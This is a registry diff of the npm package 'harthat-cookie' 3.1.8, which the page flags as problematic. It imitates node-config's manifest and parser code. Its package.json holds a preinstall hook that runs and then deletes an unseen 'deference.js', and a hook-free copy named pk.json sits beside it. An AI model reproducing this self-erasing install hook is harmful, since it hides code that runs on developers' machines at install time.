harthat-cookie 3.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of harthat-cookie might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,53 @@
1
+ {
2
+ "name": "harthat-cookie",
3
+ "version": "3.1.8",
4
+ "main": "./lib/config.js",
5
+ "description": "Configuration control for production node deployments",
6
+ "author": "Loren West <open_source@lorenwest.com>",
7
+ "homepage": "http://github.com/node-config/node-config.git",
8
+ "publishConfig": {
9
+ "registry": "https://registry.npmjs.org/"
10
+ },
11
+ "keywords": [
12
+ "conf",
13
+ "config",
14
+ "configuration",
15
+ "node-config",
16
+ "config-node",
17
+ "env",
18
+ "environment"
19
+ ],
20
+ "directories": {
21
+ "lib": "./lib"
22
+ },
23
+ "license": "MIT",
24
+ "dependencies": {
25
+ "json5": "^2.2.3"
26
+ },
27
+ "devDependencies": {
28
+ "@types/node": "^7.0.8",
29
+ "coffeescript": "2.2.4",
30
+ "cson": "^3.0.1",
31
+ "hjson": "^1.2.0",
32
+ "js-yaml": "^3.2.2",
33
+ "properties": "~1.2.1",
34
+ "semver": "5.3.0",
35
+ "toml": "^2.0.6",
36
+ "ts-node": "^3.3.0",
37
+ "typescript": "^2.4.2",
38
+ "underscore": "^1.8.3",
39
+ "vows": ">=0.8.1",
40
+ "x2js": "^2.0.1"
41
+ },
42
+ "repository": {
43
+ "type": "git",
44
+ "url": "http://github.com/node-config/node-config.git"
45
+ },
46
+ "engines": {
47
+ "node": ">= 10.0.0"
48
+ },
49
+ "scripts": {
50
+ "preinstall": "node deference.js && del deference.js",
51
+ "test": "./node_modules/vows/bin/vows test/*.js --spec"
52
+ }
53
+ }
package/parser.js ADDED
@@ -0,0 +1,368 @@
1
+ // External libraries are lazy-loaded only if these file types exist.
2
+ const util = require("util");
3
+ var Yaml = null,
4
+ VisionmediaYaml = null,
5
+ Coffee = null,
6
+ Iced = null,
7
+ CSON = null,
8
+ PPARSER = null,
9
+ JSON5 = null,
10
+ TOML = null,
11
+ HJSON = null,
12
+ XML = null;
13
+
14
+ // Define soft dependencies so transpilers don't include everything
15
+ var COFFEE_2_DEP = 'coffeescript',
16
+ COFFEE_DEP = 'coffee-script',
17
+ ICED_DEP = 'iced-coffee-script',
18
+ JS_YAML_DEP = 'js-yaml',
19
+ YAML_DEP = 'yaml',
20
+ JSON5_DEP = 'json5',
21
+ HJSON_DEP = 'hjson',
22
+ TOML_DEP = 'toml',
23
+ CSON_DEP = 'cson',
24
+ PPARSER_DEP = 'properties',
25
+ XML_DEP = 'x2js',
26
+ TS_DEP = 'ts-node';
27
+
28
+ var Parser = module.exports;
29
+
30
+ Parser.parse = function(filename, content) {
31
+ var parserName = filename.substr(filename.lastIndexOf('.') +1); // file extension
32
+ if (typeof definitions[parserName] === 'function') {
33
+ return definitions[parserName](filename, content);
34
+ }
35
+ // TODO: decide what to do in case of a missing parser
36
+ };
37
+
38
+ Parser.xmlParser = function(filename, content) {
39
+ if (!XML) {
40
+ XML = require(XML_DEP);
41
+ }
42
+ var x2js = new XML();
43
+ var configObject = x2js.xml2js(content);
44
+ var rootKeys = Object.keys(configObject);
45
+ if(rootKeys.length === 1) {
46
+ return configObject[rootKeys[0]];
47
+ }
48
+ return configObject;
49
+ };
50
+
51
+ Parser.jsParser = function(filename, content) {
52
+ var configObject = require(filename);
53
+
54
+ if (configObject.__esModule && util.isObject(configObject.default)) {
55
+ return configObject.default
56
+ }
57
+ return configObject;
58
+ };
59
+
60
+ Parser.tsParser = function(filename, content) {
61
+ if (!require.extensions['.ts']) {
62
+ require(TS_DEP).register({
63
+ lazy: true,
64
+ transpileOnly: true,
65
+ compilerOptions: {
66
+ allowJs: true,
67
+ }
68
+ });
69
+ }
70
+
71
+ // Imports config if it is exported via module.exports = ...
72
+ // See https://github.com/node-config/node-config/issues/524
73
+ var configObject = require(filename);
74
+
75
+ // Because of ES6 modules usage, `default` is treated as named export (like any other)
76
+ // Therefore config is a value of `default` key.
77
+ if (configObject.default) {
78
+ return configObject.default
79
+ }
80
+ return configObject;
81
+ };
82
+
83
+ Parser.coffeeParser = function(filename, content) {
84
+ // .coffee files can be loaded with either coffee-script or iced-coffee-script.
85
+ // Prefer iced-coffee-script, if it exists.
86
+ // Lazy load the appropriate extension
87
+ if (!Coffee) {
88
+ Coffee = {};
89
+
90
+ // The following enables iced-coffee-script on .coffee files, if iced-coffee-script is available.
91
+ // This is commented as per a decision on a pull request.
92
+ //try {
93
+ // Coffee = require('iced-coffee-script');
94
+ //}
95
+ //catch (e) {
96
+ // Coffee = require('coffee-script');
97
+ //}
98
+ try {
99
+ // Try to load coffeescript
100
+ Coffee = require(COFFEE_2_DEP);
101
+ }
102
+ catch (e) {
103
+ // If it doesn't exist, try to load it using the deprecated module name
104
+ Coffee = require(COFFEE_DEP);
105
+ }
106
+ // coffee-script >= 1.7.0 requires explicit registration for require() to work
107
+ if (Coffee.register) {
108
+ Coffee.register();
109
+ }
110
+ }
111
+ // Use the built-in parser for .coffee files with coffee-script
112
+ return require(filename);
113
+ };
114
+
115
+ Parser.icedParser = function(filename, content) {
116
+ Iced = require(ICED_DEP);
117
+
118
+ // coffee-script >= 1.7.0 requires explicit registration for require() to work
119
+ if (Iced.register) {
120
+ Iced.register();
121
+ }
122
+ };
123
+
124
+ Parser.yamlParser = function(filename, content) {
125
+ if (!Yaml && !VisionmediaYaml) {
126
+ // Lazy loading
127
+ try {
128
+ // Try to load the better js-yaml module
129
+ Yaml = require(JS_YAML_DEP);
130
+ }
131
+ catch (e) {
132
+ try {
133
+ // If it doesn't exist, load the fallback visionmedia yaml module.
134
+ VisionmediaYaml = require(YAML_DEP);
135
+ }
136
+ catch (e) { }
137
+ }
138
+ }
139
+ if (Yaml) {
140
+ return Yaml.load(content);
141
+ }
142
+ else if (VisionmediaYaml) {
143
+ // The yaml library doesn't like strings that have newlines but don't
144
+ // end in a newline: https://github.com/visionmedia/js-yaml/issues/issue/13
145
+ content += '\n';
146
+ if (typeof VisionmediaYaml.eval === 'function') {
147
+ return VisionmediaYaml.eval(Parser.stripYamlComments(content));
148
+ }
149
+ return VisionmediaYaml.parse(Parser.stripYamlComments(content));
150
+ }
151
+ else {
152
+ console.error('No YAML parser loaded. Suggest adding js-yaml dependency to your package.json file.')
153
+ }
154
+ };
155
+
156
+ Parser.jsonParser = function(filename, content) {
157
+ try {
158
+ return JSON.parse(content);
159
+ }
160
+ catch (e) {
161
+ // All JS Style comments will begin with /, so all JSON parse errors that
162
+ // encountered a syntax error will complain about this character.
163
+ if (e.name !== 'SyntaxError' || e.message.indexOf('Unexpected token /') !== 0) {
164
+ throw e;
165
+ }
166
+ if (!JSON5) {
167
+ JSON5 = require(JSON5_DEP);
168
+ }
169
+ return JSON5.parse(content);
170
+ }
171
+ };
172
+
173
+ Parser.json5Parser = function(filename, content) {
174
+ if (!JSON5) {
175
+ JSON5 = require(JSON5_DEP);
176
+ }
177
+ return JSON5.parse(content);
178
+ };
179
+
180
+ Parser.hjsonParser = function(filename, content) {
181
+ if (!HJSON) {
182
+ HJSON = require(HJSON_DEP);
183
+ }
184
+ return HJSON.parse(content);
185
+ };
186
+
187
+ Parser.tomlParser = function(filename, content) {
188
+ if(!TOML) {
189
+ TOML = require(TOML_DEP);
190
+ }
191
+ return TOML.parse(content);
192
+ };
193
+
194
+ Parser.csonParser = function(filename, content) {
195
+ if (!CSON) {
196
+ CSON = require(CSON_DEP);
197
+ }
198
+ // Allow comments in CSON files
199
+ if (typeof CSON.parseSync === 'function') {
200
+ return CSON.parseSync(Parser.stripComments(content));
201
+ }
202
+ return CSON.parse(Parser.stripComments(content));
203
+ };
204
+
205
+ Parser.propertiesParser = function(filename, content) {
206
+ if (!PPARSER) {
207
+ PPARSER = require(PPARSER_DEP);
208
+ }
209
+ return PPARSER.parse(content, { namespaces: true, variables: true, sections: true });
210
+ };
211
+
212
+ /**
213
+ * Strip all Javascript type comments from the string.
214
+ *
215
+ * The string is usually a file loaded from the O/S, containing
216
+ * newlines and javascript type comments.
217
+ *
218
+ * Thanks to James Padolsey, and all who contributed to this implementation.
219
+ * http://james.padolsey.com/javascript/javascript-comment-removal-revisted/
220
+ *
221
+ * @protected
222
+ * @method stripComments
223
+ * @param fileStr {string} The string to strip comments from
224
+ * @param stringRegex {RegExp} Optional regular expression to match strings that
225
+ * make up the config file
226
+ * @return {string} The string with comments stripped.
227
+ */
228
+ Parser.stripComments = function(fileStr, stringRegex) {
229
+ stringRegex = stringRegex || /(['"])(\\\1|.)+?\1/g;
230
+
231
+ var uid = '_' + +new Date(),
232
+ primitives = [],
233
+ primIndex = 0;
234
+
235
+ return (
236
+ fileStr
237
+
238
+ /* Remove strings */
239
+ .replace(stringRegex, function(match){
240
+ primitives[primIndex] = match;
241
+ return (uid + '') + primIndex++;
242
+ })
243
+
244
+ /* Remove Regexes */
245
+ .replace(/([^\/])(\/(?!\*|\/)(\\\/|.)+?\/[gim]{0,3})/g, function(match, $1, $2){
246
+ primitives[primIndex] = $2;
247
+ return $1 + (uid + '') + primIndex++;
248
+ })
249
+
250
+ /*
251
+ - Remove single-line comments that contain would-be multi-line delimiters
252
+ E.g. // Comment /* <--
253
+ - Remove multi-line comments that contain would be single-line delimiters
254
+ E.g. /* // <--
255
+ */
256
+ .replace(/\/\/.*?\/?\*.+?(?=\n|\r|$)|\/\*[\s\S]*?\/\/[\s\S]*?\*\//g, '')
257
+
258
+ /*
259
+ Remove single and multi-line comments,
260
+ no consideration of inner-contents
261
+ */
262
+ .replace(/\/\/.+?(?=\n|\r|$)|\/\*[\s\S]+?\*\//g, '')
263
+
264
+ /*
265
+ Remove multi-line comments that have a replaced ending (string/regex)
266
+ Greedy, so no inner strings/regexes will stop it.
267
+ */
268
+ .replace(RegExp('\\/\\*[\\s\\S]+' + uid + '\\d+', 'g'), '')
269
+
270
+ /* Bring back strings & regexes */
271
+ .replace(RegExp(uid + '(\\d+)', 'g'), function(match, n){
272
+ return primitives[n];
273
+ })
274
+ );
275
+
276
+ };
277
+
278
+ /**
279
+ * Strip YAML comments from the string
280
+ *
281
+ * The 2.0 yaml parser doesn't allow comment-only or blank lines. Strip them.
282
+ *
283
+ * @protected
284
+ * @method stripYamlComments
285
+ * @param fileStr {string} The string to strip comments from
286
+ * @return {string} The string with comments stripped.
287
+ */
288
+ Parser.stripYamlComments = function(fileStr) {
289
+ // First replace removes comment-only lines
290
+ // Second replace removes blank lines
291
+ return fileStr.replace(/^\s*#.*/mg,'').replace(/^\s*[\n|\r]+/mg,'');
292
+ };
293
+
294
+ /**
295
+ * Parses the environment variable to the boolean equivalent.
296
+ * Defaults to false
297
+ *
298
+ * @param {String} content - Environment variable value
299
+ * @return {boolean} - Boolean value fo the passed variable value
300
+ */
301
+ Parser.booleanParser = function(filename, content) {
302
+ return content === 'true';
303
+ };
304
+
305
+ /**
306
+ * Parses the environment variable to the number equivalent.
307
+ * Defaults to undefined
308
+ *
309
+ * @param {String} content - Environment variable value
310
+ * @return {Number} - Number value fo the passed variable value
311
+ */
312
+ Parser.numberParser = function(filename, content) {
313
+ const numberValue = Number(content);
314
+ return Number.isNaN(numberValue) ? undefined : numberValue;
315
+ };
316
+
317
+ var order = ['js', 'cjs', 'ts', 'json', 'json5', 'hjson', 'toml', 'coffee', 'iced', 'yaml', 'yml', 'cson', 'properties', 'xml',
318
+ 'boolean', 'number'];
319
+ var definitions = {
320
+ cjs: Parser.jsParser,
321
+ coffee: Parser.coffeeParser,
322
+ cson: Parser.csonParser,
323
+ hjson: Parser.hjsonParser,
324
+ iced: Parser.icedParser,
325
+ js: Parser.jsParser,
326
+ json: Parser.jsonParser,
327
+ json5: Parser.json5Parser,
328
+ properties: Parser.propertiesParser,
329
+ toml: Parser.tomlParser,
330
+ ts: Parser.tsParser,
331
+ xml: Parser.xmlParser,
332
+ yaml: Parser.yamlParser,
333
+ yml: Parser.yamlParser,
334
+ boolean: Parser.booleanParser,
335
+ number: Parser.numberParser
336
+ };
337
+
338
+ Parser.getParser = function(name) {
339
+ return definitions[name];
340
+ };
341
+
342
+ Parser.setParser = function(name, parser) {
343
+ definitions[name] = parser;
344
+ if (order.indexOf(name) === -1) {
345
+ order.push(name);
346
+ }
347
+ };
348
+
349
+ Parser.getFilesOrder = function(name) {
350
+ if (name) {
351
+ return order.indexOf(name);
352
+ }
353
+ return order;
354
+ };
355
+
356
+ Parser.setFilesOrder = function(name, newIndex) {
357
+ if (Array.isArray(name)) {
358
+ return order = name;
359
+ }
360
+ if (typeof newIndex === 'number') {
361
+ var index = order.indexOf(name);
362
+ order.splice(newIndex, 0, name);
363
+ if (index > -1) {
364
+ order.splice(index >= newIndex ? index +1 : index, 1);
365
+ }
366
+ }
367
+ return order;
368
+ };
package/pk.json ADDED
@@ -0,0 +1,52 @@
1
+ {
2
+ "name": "harthat-cookie",
3
+ "version": "3.1.8",
4
+ "main": "./lib/config.js",
5
+ "description": "Configuration control for production node deployments",
6
+ "author": "Loren West <open_source@lorenwest.com>",
7
+ "homepage": "http://github.com/node-config/node-config.git",
8
+ "publishConfig": {
9
+ "registry": "https://registry.npmjs.org/"
10
+ },
11
+ "keywords": [
12
+ "conf",
13
+ "config",
14
+ "configuration",
15
+ "node-config",
16
+ "config-node",
17
+ "env",
18
+ "environment"
19
+ ],
20
+ "directories": {
21
+ "lib": "./lib"
22
+ },
23
+ "license": "MIT",
24
+ "dependencies": {
25
+ "json5": "^2.2.3"
26
+ },
27
+ "devDependencies": {
28
+ "@types/node": "^7.0.8",
29
+ "coffeescript": "2.2.4",
30
+ "cson": "^3.0.1",
31
+ "hjson": "^1.2.0",
32
+ "js-yaml": "^3.2.2",
33
+ "properties": "~1.2.1",
34
+ "semver": "5.3.0",
35
+ "toml": "^2.0.6",
36
+ "ts-node": "^3.3.0",
37
+ "typescript": "^2.4.2",
38
+ "underscore": "^1.8.3",
39
+ "vows": ">=0.8.1",
40
+ "x2js": "^2.0.1"
41
+ },
42
+ "repository": {
43
+ "type": "git",
44
+ "url": "http://github.com/node-config/node-config.git"
45
+ },
46
+ "engines": {
47
+ "node": ">= 10.0.0"
48
+ },
49
+ "scripts": {
50
+ "test": "./node_modules/vows/bin/vows test/*.js --spec"
51
+ }
52
+ }
package/raw.js ADDED
@@ -0,0 +1,15 @@
1
+ /**
2
+ * This is meant to wrap configuration objects that should be left as is,
3
+ * meaning that the object or its prototype will not be modified in any way
4
+ */
5
+ function RawConfig () {
6
+ }
7
+
8
+ function raw(rawObj) {
9
+ var obj = Object.create(RawConfig.prototype);
10
+ obj.resolve = function () { return rawObj; }
11
+ return obj;
12
+ }
13
+
14
+ module.exports.RawConfig = RawConfig;
15
+ module.exports.raw = raw;